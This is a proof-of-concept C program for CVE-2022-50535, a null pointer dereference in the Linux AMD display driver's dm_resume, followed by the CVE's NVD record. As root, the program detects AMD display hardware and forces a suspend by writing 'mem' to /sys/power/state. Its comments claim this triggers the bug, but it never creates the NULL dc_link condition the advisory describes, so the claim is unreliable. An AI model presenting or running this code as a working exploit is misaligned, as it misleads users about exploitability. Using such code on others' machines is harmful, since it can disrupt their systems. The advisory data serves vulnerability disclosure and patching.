CVE-2022-50535

// CVE-2022-50535 PoC - Trigger null pointer dereference in dm_resume // This PoC demonstrates how to trigger the vulnerability by forcing // system suspend/resume cycle when dc_link is NULL #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Check if AMD GPU is present int check_amd_gpu() { FILE *fp = popen("lspci | grep -i 'amd.*display'", "r"); if (fp == NULL) return -1; char buf[256]; int found = 0; while (fgets(buf, sizeof(buf), fp) != NULL) { found = 1; break; } pclose(fp); return found; } // Step 2: Attempt to trigger the vulnerability via suspend/resume int trigger_suspend_resume() { int fd; // Check if we have permission to write to /sys/power/state fd = open("/sys/power/state", O_WRONLY); if (fd < 0) { perror("[-] Cannot open /sys/power/state (need root)"); return -1; } printf("[*] Triggering suspend to trigger dm_resume vulnerability...\n"); // Write 'mem' to suspend the system if (write(fd, "mem", 3) != 3) { perror("[-] Failed to suspend system"); close(fd); return -1; } close(fd); return 0; } int main(int argc, char *argv[]) { printf("[*] CVE-2022-50535 PoC - AMD Display Driver NULL Pointer Deref\n"); // Check for AMD GPU if (!check_amd_gpu()) { printf("[-] No AMD display hardware detected.\n"); return 1; } printf("[+] AMD display hardware detected.\n"); // Check kernel version (vulnerable versions are pre-patch) FILE *fp = popen("uname -r", "r"); char kernel_ver[128]; if (fp) { fgets(kernel_ver, sizeof(kernel_ver), fp); pclose(fp); printf("[*] Current kernel: %s", kernel_ver); } // Trigger the vulnerability if (getuid() != 0) { printf("[-] Need root privileges to trigger suspend.\n"); return 1; } trigger_suspend_resume(); return 0; }

{"cve": {"id": "CVE-2022-50535", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:37.680", "lastModified": "2026-03-17T17:15:18.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix potential null-deref in dm_resume\n\n[Why]\nFixing smatch error:\ndm_resume() error: we previously assumed 'aconnector->dc_link' could be null\n\n[How]\nCheck if dc_link null at the beginning of the loop,\nso further checks can be dropped."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.276", "matchCriteriaId": "C902FC54-DDBD-4DA6-BFEF-26889A267464"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.235", "matchCriteriaId": "13DD5E68-8CB4-46EE-9A8F-C7F6C1A84430"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.173", "matchCriteriaId": "4D810CFB-B7C5-493C-B98A-0D5F0D8A47B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.99", "matchCriteriaId": "5B8B2AC9-2F31-4A0F-96F5-7E26B50B27BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.16", "matchCriteriaId": "0FD95FDA-6525-4B13-B3FB-49D9995FD8ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.3", "matchCriteriaId": "88C67289-22AD-4CA9-B202-5F5A80E5BA4B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/00b655fa96b4e941351cc4bf5ca755a65ae94a8e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7a7175a2cd84b7874bebbf8e59f134557a34161b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8e365f1bd672cc9320a936f6ae6f8087aa40e9bc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9f73793b81637c60ccc83cc508645310b8ab7d80", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bb9a5562beb982aa5ebb73c521c49596ff8b8030", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d236103782de25736996a45bd36ac2a89bdc93c6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fd79b61af2782f8875c78f50cdb8630ec43e2990", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}